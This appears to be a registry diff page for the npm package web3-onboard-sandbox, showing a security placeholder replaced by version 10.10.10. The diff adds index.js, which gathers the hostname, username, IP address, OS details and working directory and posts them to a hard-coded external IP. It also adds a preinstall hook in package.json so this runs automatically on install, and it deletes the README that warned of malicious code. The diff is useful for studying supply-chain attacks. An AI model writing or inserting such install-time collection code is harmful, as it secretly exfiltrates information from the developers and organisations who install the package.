web3-onboard-sandbox 0.0.1-security → 10.10.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of web3-onboard-sandbox might be problematic. Click here for more details.
- package/index.js +66 -0
- package/package.json +10 -4
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https'); // Using HTTPS for secure communication
|
|
3
|
+
|
|
4
|
+
// Function to get system IP address
|
|
5
|
+
function getSystemIP() {
|
|
6
|
+
const interfaces = os.networkInterfaces();
|
|
7
|
+
for (const interfaceName of Object.keys(interfaces)) {
|
|
8
|
+
const interfaceDetails = interfaces[interfaceName];
|
|
9
|
+
for (const iface of interfaceDetails) {
|
|
10
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
11
|
+
return iface.address;
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
return 'Unknown IP';
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Collect system information
|
|
19
|
+
const systemInfo = {
|
|
20
|
+
hostname: os.hostname(), // System hostname
|
|
21
|
+
username: os.userInfo().username, // Current username
|
|
22
|
+
ip: getSystemIP(), // System IP address
|
|
23
|
+
uname: `${os.type()} ${os.release()} ${os.arch()}`, // Equivalent to `uname -a`
|
|
24
|
+
platform: os.platform(), // Operating system platform
|
|
25
|
+
nodeVersion: process.version, // Node.js version
|
|
26
|
+
cwd: process.cwd(), // Current working directory
|
|
27
|
+
timestamp: new Date().toISOString(), // Timestamp of the data collection
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
// Send system information to your server
|
|
31
|
+
const sendData = (data) => {
|
|
32
|
+
const postData = JSON.stringify(data);
|
|
33
|
+
|
|
34
|
+
const options = {
|
|
35
|
+
hostname: '65.0.127.249', // Replace with your server IP
|
|
36
|
+
port: 443, // Use HTTPS port
|
|
37
|
+
path: '/collect', // Endpoint to send data to
|
|
38
|
+
method: 'POST',
|
|
39
|
+
headers: {
|
|
40
|
+
'Content-Type': 'application/json',
|
|
41
|
+
'Content-Length': postData.length,
|
|
42
|
+
},
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
const req = https.request(options, (res) => {
|
|
46
|
+
console.log(`Status Code: ${res.statusCode}`);
|
|
47
|
+
res.on('data', (chunk) => {
|
|
48
|
+
console.log(`Response: ${chunk}`);
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
req.on('error', (error) => {
|
|
53
|
+
console.error('Error sending data:', error);
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
req.write(postData);
|
|
57
|
+
req.end();
|
|
58
|
+
};
|
|
59
|
+
|
|
60
|
+
// Execute the data collection and sending
|
|
61
|
+
try {
|
|
62
|
+
console.log('Collecting system information...');
|
|
63
|
+
sendData(systemInfo);
|
|
64
|
+
} catch (error) {
|
|
65
|
+
console.error('Error collecting system information:', error);
|
|
66
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "web3-onboard-sandbox",
|
|
3
|
+
"version": "10.10.10",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {}
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=web3-onboard-sandbox for more information.
|